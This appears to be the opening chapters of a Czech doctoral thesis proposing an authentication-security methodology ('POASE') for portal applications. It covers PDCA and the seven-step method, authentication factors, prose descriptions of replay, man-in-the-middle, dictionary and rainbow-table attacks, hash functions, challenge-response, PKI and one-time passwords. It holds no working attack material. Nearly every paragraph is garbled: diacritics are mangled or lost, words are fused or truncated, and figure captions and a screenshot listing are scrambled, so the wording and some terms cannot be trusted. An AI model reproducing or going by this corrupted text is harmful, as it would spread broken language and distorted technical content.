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1. Uvod

Jiz od p@atku lidstva je jedinec ve spdleosti ¢i v komuni€ n¢jakym zpisobem
identifikovan. Ri riznych formach lidskych aktivit afpvzajemné komunikaci bylo nutné
jedince identifikovat a tim vzajeminodliSit. Ve starov¥ku obchodnik stvrzoval identitu
otiskem prstu do hliné desky, pro prokazani identity byly pouzZivanggie a amulety,

v novodobé historii se jedinec identifikoval vroyem charakteristikami ve spojeni
s papirovym dokumentem, ktery phfen jemu. Jedinec je oztavan cislem, piikazem,
pasem apod. Identifikai hodnota fivodnich cestovnich pagi legitimacnich papiit byla
pomeérné nizka ged vynalezem fotografie.

NejstarSim progedkem identifikace (@sreji autentizace — prokazani pravosti identity)
je znalost sdileného tajemstvi. Jedna sei@dgm domluvené heslo, jehoZz znalosti se
jednotlivé strany komunikace navzjem prokazujéj@ou nevyhodou je mozny odposlech a
zneuziti sdileného tajemstvi neopré&vou osobou.

DalSim prostedkem autentizace je vyuZziti n&nmé charakteristiky jedince. Ve spojeni
s identifika&nimi prikazy jsou nejastji pouzivany fotografie, diky kterym je moznécow
podobu drZitele pikazu s podobou na fotografii. V kriminalistice jaké vyuZivana
identifikace prosednictvim otisku prstu nebo nérgjsi, ale pesrgjsi, analyza DNA.
nagiklad vySe zmisna pe&et nebo jakykoliv specificky osobni@dntt, v pozdjSich dobach
nag. razitko.

Z pohledu informanich a komuniké&nich technologii satasny trend sifuje ke znané
centralizaci dat a aplikaciiRodni davkové zpracovani v 50. letech 20. stoletiypnadovalo
ovéreni identity vzdalenym systémem — k vgptmimu stroji byl fyzicky omezeniistup
opravrenym osobam. Po zavedeni modelu host-terminal seajedo pordrné uzaweneé
systémy. Zaatkem 21. stoleti byla na serverovou strari@spnuta fevazi data a
v poslednich letech dochazi takéiksunu aplikaci na serverovou stranu. Tento treodisio
s rozvojem cloudovych aplikaci. Vzhledem k tomuk#&mto aplikacim je nutnéfstupovat
vzdaler, v¢étSinou prostednictvim celosstové sié internet, je kladen vysokyudaz na
zajiseni autenticity pistupujicich uzivatdi ,na dalku".

V souvislosti s rozvojem internetu, jehoZ jednatligrvky jsou v rukach soukromych
firem a neni tedy moZné zabranit potencialnimu ebtjmhu, pipadré poznEnéni

komunikace, je nutné zajistit autentizaci sofist&oymi metodami.



2. Cile diserta €ni prace

Cilem pedkladané disertai prace je vytvieni navrhu nové metodiky pro zlepSeni
bezpénosti autentizace. V nasledujicim textu bude nawahé metodika ozgavana jako
,POASE" - Portal Authentication Security Enhancene

V praci jsou analyzovany a porovnavany metody b&mpautentizace. Waz je kladen
zejména na snadnou implementadev@Zzie na strad klienta a samotnou bezfrest
autentizace. Snadna implementace na &trRlienta je zakladnim fedpokladem pro

vSeobecné roz&ni metod bezgaé autentizace.
Hlavnim cilem prace je navrh metodiky POASE aqgejireni.

Dil¢ci cile prace jsou:
a) Analyza v sodasnosti pouzivanych metod autentizace
b) Porovnani metod s ohledem na riziko ohroZeni aan§iha implementaci
c) Vybér vhodné metody bezpeé autentizace pro implementaci a stanoveni podmine
pro jeji bezpé&né vyuziti
d) Analyza stavajiciho zabezfmni portalovych aplikaci
e) Vybér vhodného zfisobu autentizace pro metodiku POASE

f) Synteticka doporieni pro zlepSeni bezfeé autentizace a navrh na dalSi vyzkum



3. Metodika

Uvodni ¢ast prace bude émovana analyze literarnich zdiojz oblasti feSené
problematiky. V ramci téta@asti budou popsany bezp®stni mechanismy pouzivanéi p
autentizaci. DalS¢ast prace se bude&novat analyze autentizaich a bezpaostnich metod
pouzivanych v agronomickych portalech. Na zaklatskanych informaci budou nastiy
moznosti Utolk na autentizéni protokoly pouzivané ve sledovanych portalech.

Pro navrh samotné metodiky bude nutné vybrat zdtexph metod autentizace tu,
kterd nejlépe vyhovuje stanovenym poZadewk Z poZadavk bude kladen #raz na
bezpé€nost, pouzitelnost, furdkost a dostupnost.

Po vylEru vhodné metody autentizace bude navrZzena metpadkavySeni bezgeosti
autentizace v portalovych aplikacich — metodika BBA

Pro dosaZeni cile prace budou pouzity z&kladwieské metody analyzy, syntézy,
indukce, komparace a analogie. S ohledem na aieprazlepSeni bez{meosti autentizace —
budou aplikovany dvmetody pouzivané v procesu zlepSovani.

Prvni metoda je popsana cyklem PDCA. Vychazi ziekého modelu plan-do-check-
act (planuj-udlej-zkontroluj-uskuténi). Jedna se o metodu postupného zlepSovani v annoh
oborech, vetrg informainich technologii. Sklada se z nasledujicich f&#&a a dalSi, 1996),
(Doucek, a dalsi, 2013)

» Féaze 1 - P (plan) — naplanovani zamysleného zlé&amer)

* Faze 2 - D (do) —realizace planu

» Faze 3 - C (check) — &keni vysledku realizace oprotiipodnimu zaniru

e Faze 4 - A (act) — upravy z&m i vlastniho provedeni na zaktadwieni a

implementace zlepSeni do praxe

Planuj
=
m Jednej

Kontroluj

%Iﬁ

Obrazek 1 Cyklus PDCA (Sedléek, 2011)



V souvislosti s cyklem PDCA byw#asto také znfiovana druha metoda — metoda sedmi
kroku (seven-step method). Ta se skldd& z nasledujcitti:(Rao, a dalsi, 1996)
1. Identifikace problému a jeho jasné vymezeni
Analyza aktualniho stavu
Identifikace moznychiicin problému
Planovani a implementa¢eSeni
Zhodnoceni vysledk

StandardizacgeSeni

N o g~ WD

Zhodnoceni navrzenétteSeni a navrh budoucich pidopateni
V kapitole 3.2 je popsén vzajemny vztah metody PLxORAetody sedmi krak



3.1. Faze tvorby a o¥reni metodiky

Fdze P (plan)

Navrh metodiky (v ramci prvni iterace) nebo Uprangtodiky (v dalSich iteracich) dle
zjisSttné poteby v ramci analyzy. V této fazi je navrzeno zlepsstavajici metodiky pro
autentizaci uzivatél Navrh bude vypracovan metodou analyzy a syntéesatnich zdraj.
Dale bude metodika vychazet z aktualniho stavuzabeni autentizace.

Fdze D (do)

V ramci faze D bude dle navrzené metodiky impleroes novy systém autentizace
do realnych systém Tyto systémy budou typéwdpovidat oblasti pouzitelnosti navrhované
metodiky.

Fdze C (check)

Metodika bude ostena zhodnocenim Uro¥rbezpeénosti autentizéniho mechanismu
implementovaného ve fazi D. Pro hodnoceni budoippijak tvrdé, tak nakké metriky dle
standard pro hodnoceni kvality inforngaich systén.

Fdze A (act)

Tato faze jetasto chapana jako faze rutinniho vyuzivani.ripack novych zjiséni je
tato vSak tato faze zaravepodrétem pro dalSi iteraci v cyklu PDCA. Za nova zjistlze
povazovat:

* Zména predpoklad, na kterych byla metodika vypracovana

* Zménav systému nebo v jeho vazbéach
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3.2. Vztah mezi metodou sedmi kroki a PDCA

Dle (Rao, a dalsi, 1996) je metoda PDCA zoberim metody sedmi krak jak je
ziejmé z nasleduijici tabulky. Pro pey diserténi prace budou pouzity kroky dle metody

sedmi kroki pro podrobgjSi ¢lenéni.

Faze PDCA Krok dle seven-steps
Plan 1. Identifikace problému a jeho jasné vymezeni
2 Analyza aktuélniho stavu
3. Identifikace moznychicin problému
Do 4 Planovani a implementa¢eSeni
Check 5. Zhodnoceni vysledk
Act 6. Standardizac#&eSeni
7. Zhodnoceni navrzenéhgeSeni a navrh budouci¢h
plani

Tabulka 1 Vztah PDCA k metodé sedmi krokii (Rao, a dalSi, 1996)
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4. Teoreticka vychodiska

V této kapitole jsou na zakladiterarnich zdraj shrnuty poznatky z oblasti bezpesti
dat a autentizace.

V posledni¢asti této kapitoly je prostorémovany finagnim aspekim pcaiitacové
bezpé&nosti, neb6 praw finantni omezeni p implementaci bezpgmych metod autentizace
jsou jednim z limitujicich faktdrvySSi miry zabez@geni a stanoveni optimalni investice do

zabezpéeni je kitové.

12



4.1. Autentizace

Autentizace je odfeni identity uZivatele nebo entity v systémgiSinou za delem
fizeni Fistupu ke zdrdjm a objekim v systému (Doset] 2004).

Proces autentizace sestava&katika zakladnich fazi:

Nejprve je nutné do systému registrovat uZivatei@adit mu autentizaci Udaje a
definovat jeho prava.

V druhé fazi je od uZivatele ziskana auteritidanformace (heslo, datacgpové karty,
jednorazové heslo apod.). Data jsou odeslana waéidle systéemu, ktery na jejich zakiad

potvrdi nebo nepotvrdi identitu protistrany.
4.1.1. Zakladni zpasoby autentizace

Diikaz znalosti

Jedna se o nejstarSi a nejpouzéginzpisob ziskani autentizai informace (ékaz
znalosti ®¢eho —some-thing to know Nevyhodou jsou naroky na pamuzivateh. Casta
zmena hesla nebo mnoho rozdilnych hesel vede uZivatptestranni evidenci hesel, coz ma
za nasledek sniZzeni beZpesti. Kratka a jednodusSe zapamatovatelna heslarjadohylnéa na
atok typubrute force (Greer, 1999)

Metody zaloZené na znalosti hesla jsou zaklademvpechny autentizai protokoly.
VZdy je autentizéni informace pevedena do digitalni podoby a odeslana komuhnika
kanalem.

Diikaz vlastnictvim

Zatim asi nejbezpa¢jSim zpisobem ziskani autenti@d@ informace je vyuziti
bezpénostniho pedmétu (dikaz vlastnictvim &eho — something to have). UZzivatel
prokazuje vlastnictvi fgdnetu — ¢ipové karty, USB tokenu, seznaniedem dohodnutych
hesel, generator jednorazovych hesel.

V piipact ¢ipovych karet nebo USB tokérmpii autentizaci vlozi toto Z&eni do vhodné
¢tecky a systém pak ziska tguimetu potebné informace.

V piipact seznamu fedem dohodnutych hesel uzivatel pouzije heslogigaktualy
v paradi, a ozné heslo za pouzité (hesla se neopakuiji).

NejvétSi nebezpd hrozi @i ztrd€ bezpeénostniho pednétu. Pokud neni chré&n

dalSim bezp@&ostnim opaenim — heslem, kédem PIN apodijza dojit k jeho zneuziti.

13



Diikaz vlastnosti

Pfi dikazu vlastnosti je autenti#ad informace ziskdna zkteré ngfitelné tlesné
charakteristiky uZivatele (otisk prstu, obrainbduhovky nebo sitnice, tvar ruky, vzorek
hlasu, charakteristické rysy prace).

Tyto technologie zatim neposkytuji jednozmau identifikaci a jejich nevyhodou je
navic neminna autentizZni informace — po zkopirovani autentim&ch Gdaj je mozné
podvrhnout faleSna data. &hto divodi je zatim tato forma autentizace pouzivarma p
piihlasovani nablizko (pdtacové stanice, dochazkoveé systemy)ravazié v systémech, kde
neni gipadna chybaipautentizaci kriticka.

V souvislosti s dkazem vlastnosti jsou zirdvana d¢ métitka spolehlivosti:

FAR — False Acceptance Rate, tedy pggpatiobnost ozrigni nepravého uZzivatele
jako opraviného

FRR — False Rejection Rate, tedy prapddobnost odmitnuti opras#mého uzivatele

A

FAR
FRR

FRR

prahovd hodnota

Obrazek 2 Zavislost FAR a FRR na prahové hodnat

(Biometrie)

Vicefaktorova autentizace
Pro minimalizaci rizika zneuziti autentizd informace je vhodné vyuZiti vice fakior
pii autentizaci — nap pouziti hesla a jednoradzovych hesel, kdy proldmganoho

autentiz&niho faktoru nevede k okamzitému ohrozeni autetttib® systému.
4.1.2. Digitalni podpis

V nekterych pipadech je pro bezpeou komunikaci nutné zajistit takzvanou

nepopiratelnost. Uzivatel tak nema moznost po aaégipravy pofit, Ze ji odeslal on.
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Digitalni podpis zajifuje identifikaci odesilatele a zaravéntegritu odeslané zpravy
(tedy zarduje nengnnost zpravy éhem enosu.)(Hanégek, a dalsi, 2000)

Vhodnou technologii pro zaj&ti pozadavik na digitalni podpis je asymetricka
kryptografie. (Doucek, a dalSi, 2008). Digitalnidpts je tvden pomoci soukromého &
asymetrické kryptografie. Platnost soukroméhdeklje o¥iovana véejnym klicem, ktery
piislusi k danému soukromému dkli Nevyhodou pouziti asymetrické kryptografie jgi je
vypocetni narénost. Ztohoto @vodu se f podepisovani podepisuje pouze otisk
podepisovaného dokumentu. Z uvedeného vyplyvajokésnaroky na hashovaci funkce

zaji¥ujici otisk podepisovaného dokumentu.(Géla, a daf¥i9)
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4.2. Utoky na autentizani protokoly

4.2.1. Utok opakovanim

Utok opakovanimreplay attack spaiva v odposlechue@vesdropping komunikace
mezi d¥ma stranami a nasledné pouziti odposlechnutycprdadutentizaci Gtnika.

4.2.2. Utok ze stedu

Utok ze stedu (nan-in-the-middle attackeboli MITM) spaiva v gitomnosti Gténika
pii komunikaci dvou stran. Utmik miZe sledovat komunikaci ffmo na aktivnim
smerovacim zézeni v siti nebo iize vyuzit libovolného utoku na itacove sit, nagiklad
ARP redirect. (Dostalek, a dalsi, 2002) Pro minigzadi rizika Gtoku ze #du je vhodné
pouzit nezavisly komunikai kanal, nap jiné paitacové sit, telefonického nebo SMS

ovéreni.
4.2.3. Utok hrubou silou

V piipact utoku na hesla hrubou silobr(te-forcg se nejedna o utok na samotny
autentiz&ni protokol, ale na samotné heslo. Jedna se ocsitpa niz utanik ngjakym
zpisobem ziska uZivatelovu autentizaci informaci -dhegipadre digitalni otisk hesla.
(Dosedl, 2004)

4.2.4. Slovnikovy utok

Slovnikovy atok vyuzZiva testovani wW§mosti pihlaSeni pomoci igdem casto
vyuzivanych hesel nebo slov uvedenych ve slovniketny jejich modifikaci (obracené
poradi pismen, fidana ¢islice, prvni velké pismeno). Nedavny utok né& Sbny a web
Gawker media a hesla jejich uzivdtebdhalil pongrné vypovidajici statistiku o reain

pouzivanych heslech skdteymi uzivateli. (Hung)
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Prevalence of passwordin dictionaries

M In password dictionary Not in password dictionary

Obrazek 3 Paodil slovnikovych hesel (Hung)
Z dalSi analyzy také vyplynulo, Ze 99% uzivatpbuZziva pouze alfanumerické znak

porovnanim dvou ziskanych databazi bylo &jiét Ze67% uzivatel Sony a Gawker pouzi\

stejné heslo do obou systém
4.2.5. Pohled pres rameno (shoulder surfing

Pohled pes rameno vyuziva nepozornosti uZivatdiezpdavani hesl V souvislosti se
zvySovanim bezpgmostnich opdéeni \podol® kamerovych systéin v internetovych
kavarnach, pgitacovych webnach a jinych mistech, kde je nutné zadavat heslaiziko

tohoto utoku zvysuje.
4.2.6. Utok na integritu zprav

Integritni Utok souvisi nedokonalym navrhem protokolu. Protokcumoziuji feSit
mnohé nestandardni situa¢eapiklad podvrZzené zpravy, nespré&vipodepsané zpravy
Chovani autentizaiho protokolu ale neni etreno na pesah velikosti jednotlivych zpré
nebo poli. Chovani autentia@ho systému pak @xe byt nevyzpytatelné atbe dojit takeé

k napadeni samotného systé
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4.3. Hashovaci funkce

Hashovaci funkce je ireverzibilni funkce, kteréextti libovolné délky vytvii otisk
(hash) pevé stanovené délky. Z definice jéefmé, Ze existuje vice téxtktera maji stejny
otisk. Zakladni kritéria hashovacich funkci jsosledujici:

1. Mala zména na vstupu musi vyvolat velkou &mu na vystupu
2. Je obtizné najit dva texty, které maji stejny Hasizkoliznost)

Prvotni hashovaci funkci byl CRC kéd (cyklicka redantni ochranaasto zmiiovana
jako kontrolni sotet), pomoci kterého bylo mozné stanovit, Ze v texdho v souboru doslo
ke zmené. Dodnes je tento kéd pouzivan proéimni neporuSenosti zaznamu na pevném
disku. Kéd CRC byl uloZen nejvySe ¥kolikabajtové hodnat

StarSi algoritmus MD5 je mnohem sofistiko¥gai. Je charakterizovan vystupem
negastji ve formé hexadecimalnihgisla o délce 32islic. P@&et vSech moznych hastedy
dosahuje hodnoty & Presto jiz byly vyvinuty algoritmy pro tvorbu dvou oot s fiznym
obsahem, ale stejnym hash kédem. Z tohdieodu neni MD5 v dneSni déldoporiovan
pro standardni pouzivani.

NowgjSi algoritmy fady SHA-1 az SHA-3 jsou dnes akceptovany jako bempen

daveéryhodné.
4.3.1. Utok hrubou silou

Najit k hash kodu jvodni text hrubou silou je jiz vzhledem k délce h&s®du téndi
nemozné. Zatim neexistujici stroje nebo systémgrékby byly schopné v dohledné dob

prowiit vSechny kombinace, kterychte byt v gipact 512bitovych hashovacich funkci az
2512.

4.3.2. Rainbow tables

Pro nalezenijpvodniho textu k hash kddu Ize pouzit také na irteralostupné rainbow
tables, tedy tabulky hash k@ jejich givodnim textem. Je nutné w@znit, Ze se nemusi
skute&né jednat o jvodni text, jedna se pouze o text, ktery ma stéjagh kod. Z tohoto
divodu neni volba hashovaci funkce pro technologinggdzovych hesel (popsana dale)
piili§ rozhodujici. Utenik totiz musi znat i@sné z#ni pavodniho textu, jinak neni schopen

generovat nasledujici heslo.
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Rainbow tables jsodasto pouZzivany pro prolomeni hesla uloZzeného vipbtiashe.

V tomto pgipact je samoejm¢ mozné autentizovat se libovolnym textem, ktery stegjny
hash.

Nebezpéi zneuziti rainbow tables vzrostlo s rozvojem clipukly databaze hash kidd
muze byt snadno distribuovana mezi velké mnoZstWiitgm a zérové je (@i vhodné
organizaci) mozné vyhledat poZzadovany hash ve Valatkémcase.

V této souvislosti je vSak nutné@aznit, Ze rainbow tables zatim mohou obsahovat jen
velmi malou ¢asti vSech moznych hash Ko riziko tedy tvei predevSim kratkd nebo

jednoducha hesla.
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4.4. Metody autentizace

4.4.1. Autentizace heslem

Prokazovani identity heslem je nejrde$ijSi zpisob autentizace. Zatimco vdadku
pacitatovych siti provozovanych pouze lok&lnnebo pi lokalnim owrovani uzivatel
k mistnim pditacam, bylo riziko zneuziti hesla paimé nizkeé, geneslo se jeho pouzivani i
do prostedi internetu, kde jiz neni mozné se spolehnouterpeny prenos dat. Festo jiz
v prvotnich autentizaich systémech bylo dobrych zvykem ukladat na servesla ve skryté
podolE — nejlépe v podabhashe. R autentizaci se tak porovnava pouze otisk hesitmanik

nemize zjistit Bhem genosu samotné heslo.
4.4.2. Autentizace challenge-response

Snahou o autentizaci challenge-response je elimimaik zmiovanych v pedchozi
kapitole. Poskytuje dv formy autentizace — pouhé z{gf, jestli se na preéjSi strar
komunikace nachazi ,zivy" uzivatel ifomnost fyzické osoby) pro vyldani robot a
automad. Druhou formou je samotné provedeni autentizakt®ifam znalosti.

Zjisténi pritomnosti fyzické osoby

Toto reSeni nezajifije identitu protistrany, ale je ochranou proticanatim, které se
nagiklad mohou pokousSet o automatické&hpaseni, automatizované vkladanfigpivki
apod.

Nejcasgji pouzivané jsou textové otazky, matematické Ulatgbo pecteni textu
z obrazku. Nevyhodou textovych otazek je moZnost,uzivatel na & neznd odpoid,
problémem byva takeé jazykova bariéra. Mohou byy ouzity gedevsim v lokalni prostdi
intranefi nebo welh s omezenym okruhem uzivaiel

NejrozstergjSi zpisob mé& podobu obréik tzv. CAPTCHA (completly automated
public Turing test to tell computers and humansriaplla trhu vak jiz existuji sluzby na
¢teni texti z obrazk. Cena zaecteni 1000 text cini 2USD. (Decaptcher)

Autentizace uZivatele

Princip autentizace challenge-response vyuzivajicyptografickych metod je
nasledujici: (Challenge-response)

» Server zaSle klientovi unikatni vyzvu sc

» Kilient generuje unikatni vyzvu cc
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» Kilient spaitad odezvu cr=hash(cc+sc+secret)

* Kilient odeSle odezvu cr a vyzvu cc na server

» Server spéita atekavanou hodnotu cr a &V proti odpowdi klienta

e Server spditd sr=hash(sc+cc+secret)

» Server odesle sr klientovi

» Kilient spaita aiekdvanou hodnotu sr a&@ proti odpowdi serveru
Pouzité zkratky:

» sc-vyzva serveru (server challenge), cc-vyzva kidalient challenge)

» sr-odpo¥d serveru (server response), cr-odabklienta (klient response)

» secret-sdilené tajemsti (heslo)
4.4.3. Autentizace certifikatem

Autentizace certifikdtem je zaloZena na principfrastruktury véejnych klc¢a. Ta
spaiva v systému certifikanich autorit vystavujicich certifikaty soukromychlick
jednotlivych uzivatel.

V souasné dob se pro zvySeni bezgmosti, Fipadré pro zajiséni nekterych sluzeb IT
casto vyuziva asymetrické kryptografiefikbadem takového vyuziti je elektronické
podepisovani, Sifrovana spojeni s vyuzitim digi@incertifikafi, ¢asto vyuzivané ndjklad v
elektronickém bankovnictvi. tPvyuZiti asymetrické kryptografie hraje zasadnli pouZiti
tzv. certifikdti, které jsou nositeli kii pouzivanych $ autentizaci, Sifrovani nebo
zabezpeéené komunikaci. Kazda ze &strénych stran zabezpené komunikace ma dva
klice — jeden soukromy (privatni), druhyremy. Casto se oviem nejedna pouze o jednu, ale
0 vice dvojic kléu pro kazdého tastnika, kdy seizné pary kida uzivaji pro tizné &ely.
Ale v zasad jde o to, Ze soukromy Klimusi byt pélivé uschovan nap nacipové kar€, na
disket, ktera je chrémna, na pevném disku i$zenym pistupem do opetaiho systému
apod., zatimco vejny kli¢ je naopak zviejrén. (Brechlerova, 2004)

Zverejreni provadi certifikani autorita (CA) obvykle tak, Ze ¥ggny kli¢ uvede jako
jeden z uddj v tzv. certifikatu, coz je elektronicky dokumenti®esre danymi polozkami.
Jednou z nich je tedy kgjny kli¢, dale nap identifikace algoritmu podpisu, sério¢éslo
certifikatu, oznaeni certifik&ni autority, ktera certifikat vydala, misto, kdeelmnalézt
certifikacni politiku, nadizené certifikaty z certifikéni cesty, dobu platnosti certifikatu, dalSi
poloZkou je identita vlastnika kB (common name), pro zasilani podepsanych einpail
vhodné mit v certifikatu e mailovou adresu. Exishgrmy a doporéeni, které polozky maji
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byt obsaZeny v certifikatu i Agob jejich napléni. Fresto existuji utité dohady, jak certifikat
naplnit, resp. které udaje do jakého pole v cé#dtfi umistit, takZze je nutné stanovit, aby
alespa v dané lokal& byly Udaje strukturovany stejn Frikladem tohoto problému je
umiseni identifikatoru obana, nahrazujiciho rodnislo pro kontakt s wejnou spravou -
I.CA (Prvni certifik&ni autorita) jej po zvazeni dava do Alternative p&Dther name a
ostatni tuto skutmost budou i&jm¢ respektovat, protoZe jinak by zkomplikovali vyvoj
aplikaci, které tento udaj gebu;ji.

Ucely certifikdtu

Certifikdty mohou slouzit jednak k podepisovani,ar(#eni nepopiratelnosti
odpowdnosti, zachovani integrity dokumentu, z&stautenticity dokumentu), k Sifrovasii
k autentizaci. Pro zaji&i identity internetovych prezentaci firem jsou peané serverové
certifikaty, které slouzi k identifikaci senter Novela zakona o elektronickém podpisu
piinesla nové ozr@ni kvalifikovany systémovy certifikat - jedna secertifikat, kde nize
byt v nazvu (common name) uvedena pravnicka osopadapisovani, resp. ozifmvani se
muze provadt automatizovati (RFC3280), (Gala, a dalsi, 2009)

Certifikacni autority
autority, resp. registéai autority. Registrni autorita je misto, na kterém sesfwje identita
osoby. Certifikéni autorita zajisti spojeni certifikatu a jeho tle a na dkaz, Ze je certifikat
v poradku, jej elektronicky podepiSe. Certifikat by¢asto girovnavan k obanskému
prikazu ve s@té internetu, v takovémifpadt certifikani autorita hraje roli tadu, ktery
nejprve O¥fi totoznost a poté vyda, resp. potvrdi platnostaobkého pikazu (pfikaz jako
takovy si vlasta vyda sam uzivatel tim, Ze vygeneruje patiklz nichz jeden, soukromy, si
ponecha u sebe a druhy,fepmy, ginese nebo posle certifikai autori€ k potvrzeni). Na
rozdil od oldanskych piikazi, nejsou ale vSechny certifikaty na stejné prawmitechnické
urovni. Urove: takového certifikatu je pak dana jednalkidnosti, s jakou dochazi k &eni
identity Zadatele o certifikat, a dal¢ipo technickym vybavenim a pouZzitou technologii
certifikaéni autority. Proto se zde haWwoo divéryhodnosti a Urovni zaruk, kterou jdip
pouZiti a pijeti daného certifikatu nutno zvazit.

Certifikat je bul’ rovnou gipojovan napiklad k zasilanému e-mailu, nebo je mozno si
ho stdahnout z &akého véejného serveru. Podle novely zakona o e-podpismg@Zné
pozadat, aby certifikdt nebyl Zgnén na seznamu vejnych certifikati. V pripac, Ze
uzivatel obdrzi zpravu, kterd je podepsana na dékiezvéejnéného certifikatu, a tento
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certifikat neni ke zpravpiipojen (nap. S/IMIME certifikat @ipojuje), je nutné o ¢ druhou
stranu pozadat.

Zneplatnéni certifikdtu

ProtoZze niZze dojit k poruSeni bez@mosti soukromého kie (nebo k uplynuti doby
jeho platnosti), a poté by uziti celého systémuudibici jiz nebylo bezpéne, zvéejnuji
certifikaéni autority pravidelty seznam zneplatnych certifikafi (CRL, certificate revocation
list), kde je mozno zjistit, zda je dita klicova dvojice jedt bezpéna. Pokud se tedy sériové
¢islo certifikatu na tomto seznamu nenachazi, résprtitému okamziku zde nebylo
zveejréno, neskotila doba platnosti certifikatu a nebyla naruSen@grita certifikatu (a
pokud totéz plati i o vSech ndzenych certifikatech v certifikai cest), je certifikat platny.
Je zde vSak problémdit, kdy byl certifikat pouzit - tato doba nemusittbgtozné nafiklad s
dobou odeslani, nehleéda skuténost, Zecas na postovninmii webovém serveru nenkips
spolehlivy Udaj. Proto existujgasoveé razitko, které doklada existenci dokumentianém
¢ase. Samdejme ani ¢asové razitko netir dobu, kdy byl nap winén podpis, ale Ize dit,
Ze v dok pred orazitkovanim jiz byla zprava podepsana. BankiSinou seznamy
zneplatinych certifikafi nezvéejiuji (CRL je dostupné jen uviiifejich interni si), proto je
pro ostatni subjekty problematickésow, jestli ke zneplaténi nedoslo.

Infrastruktura PKI

Certifika¢ni autority obvykle maji krokhvydavani certifikal a zveejiovani CRL je&t
celou fadu dalSich funkci a celému tomuto systému ig& PKI. PKI je koncept
bezpé€nostnich mechanisim softwaru, technologii, kryptografickych technik a
administrativnich pravidel a postiuppomoci nichz se zavadi pebné bezpmostni prvky
autentizace, identifikace,adérnosti a dostupnosti. PKI &anuje kryptografii s véejnymi
Klici, digitélni certifikaty, certifikéni autority a regist@ni autority do bezpmostniho
komplexu na dané darovni (podnikova, statnbteviené systémy). Systém zaloZeny na PKI
zaji¥uje vydavani digitalnich certifikat fyzickym osobam i pro serverové aplikace,
rozSrovani a spravu softwaru, integraci s knihovnimgeami certifikadé, nastroje pro spravu
a obnovovani certifikéta dalSi sluzby. Certifikaty maji Siroké pouZit,ozno je pouzivat
pro oblast elektronického podpisu, Sifrovani alautentizace apod. Certifikat nemusi mit
pouze osoba, ale i serveriigadreé existuji atributové certifikaty, které umiagi svému

drziteli ¢lenstvi v jaké skupi®, roli nebo uéité opraveni v systému. (RFC4158)
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Obrazek 4 Strom divéry (Peterka)

Certifika¢ni autority vytvdeji hierarchickou strukturu vizObrazek4. Vrcholem této
struktury je kadenovy (root) certifikat. Certifikaty pdtzenych certifikanich autorit, pip.
certifikaty konkeétnich uZivatdl, jsou vzdy podepsany natenym certifikatem, kenovy
certifikat je podepsan vlastnim soukromymcé&i, ktery musi byt velmi dée ulozen
protoZze jeho prozrazeni by vedlo k pepi divéry ve vSechny padiizené -certifikaty
Vzhledem k tomuze ke zneuZiti certifikai autority (respektive jejiho soukroméhockly jiz

doslo vdruhém pololeti roku 2011 (vObrazek %, Ize toto riziko povaZovat za rea.
["Certificaty — pa— =)

Zamyleny Géel: [<vze> -] |
Dévéryhodni vydavatelé | Nedvéryhodni vydavatelé i s
Vystaveno pro Vystavitel Datum uk... Popisny ndzev o

(5] addons.mozila.org UTN-USERFirst-Hardw... 15.3.2014  Fraudulent
_aJDigiNotar Cyber CA GTE CyberTrust Globa... 20.9.2013  Untrusted
_EJDlglNotar Cyber CA GTE CyberTrust Globa... 4.10.2011  Untrusted
[IDigiNotar Cyber CA GTE CyberTrustGloba... 27.9.2011  Untrusted
[/ DigiNotar PKloverh... Staatder Nederlande... 23.3.2020  Untrusted
_aJDigiNotar PKloverh... Staatder Mederlande... 23.6.2010  Untrusted
_eJDlglNotar Pkloverh... Staatder Mederlande... 27.7.2015  Untrusted
_eJDigiNotar Root CA DigiMotar Root CA 31.3.2025 Untrusted
[ DigiNotar Root CA Entrust.net Secure Se...  26.8.2013  Untrusted <

Importovat... | |Exportovat... Odebrat

Zamyslené Ocely certifikdtu

brazit

Dalsi informace o certifikatech

Obrazek 5 Nedivéryhodni vydavatelé (zdroj: autor)
VétSina CA ma st vliastni kaenovy certifikat, pipadré existuji domény danych C;
Proto si musi uzivatelé nainstalovat mnohorekmvych certifikdi a situace ¢ stava

negehlednou Pro uZivatele je navic rozhodovani oavéryhodnosti danych C;
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problematické, protoZeétsinou nemaji dostateé mnozstvi Ud8j piipadré ¢asu takove
Gdaje zkoumat.
Akreditaci poskytovatéim certifikatnich sluzeb CR udtluje Ministerdvo vnitra na
zaklad:
* splréni vSech podminekipdepsanych zakonem v souladu s 8 10 odst. 4 zak«
227/2000 Sb., (zakon o elektronickém podp
* splréni podminek, pozadavka postufi stanovenych vyhlasko& 378/2006 Sb.,
postupech kvalifikovanych |skytovateli certifikatnich sluzeb, o pozadavcich
nastroje elektronického podpisu a o pozadavcichodaranu dat pro vyt¥éni
elektronickych znéek (vyhldSka o postupech kvalifikovanych poskytetia
certifikacnich sluzeb);
« owfeni kvalifikovanych sysmovych certifikal Ministerstvem vnitra podle § 9 od

2 pism. d) zakona o elektronickém podg

PMTS!'QMM .anr QcA

ko fenoyd certaf i autorita

jestlize dOvaruji 8 b ‘m

lllll.'ll,._.,tlf‘l'ﬁ'

pak divifujitaké podfitend certifikacni |u|||r|I:'.'
H o L
—

PastSignum QCA i
-—M 'l[[llll“i".'l TIIrrm

- T3
£ cortifikad mi warea
TERTEE IEETTEE

kvalhikovand certifikalni autorta

]

*tlii-ll._.**l-**tl
utarsta CasovEho razitka

Obréazek 6 Hierarchie divéry PostSignum (Peterka)
V Ceské republice jsou akreditovany tertifikadni autority (Akreditace, 201(, ale
organy véejné moci maji povinnost uznavat také certifikiaautority : celé EU. (Peterka,
2010), (Peterka)

Na obrazku Obrazek|jé zobrazeahierarchie dvéry certifikacni autority PostSignur
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VSechna pracovi§t Czech-POINT pouzivaji povignjako autentizéni prostedek

autentizaci certifikatem.(M\CR)
4.4.4. Jednorazova hesla

Bezp&nou formu autentizace poskytuji jednordzova hesldy hesla, u nichZz neni
moznost provést utok opakovanim nebo odposlechnuigha@® heslo je pouZitelné prav
jednou. (RFC2289)

Lze snadno zavést dvoufaktorovou autentizaci, drufgktorem (nafiklad po zadani
klasického statického hesla) je vlastnictvi tokenu generovani OTP.&8ina hardwarovych
i softwarovych toket aktualni heslo nijak nechrani, &tatisknout tlaéitko nebo se podivat
na displej, neni nutné zadavat zadny PIN netoo podobného. OTP je tedy dakém hesla,
nikoliv jeho nahradou. (Valasek, 2011) (Hoyer, 2009

Vyhodou je, Ze na strarautentizujici se osoby neni krértokenu feba Zzadné zvlastni
vybaveni: jednorazové heslo ma podobu 6-8 &madbo cislic, které st& opsat, pimé
propojeni tokenu s @gitacem neni iteba. Lze se tedy autentizovat na cizimCifadi,

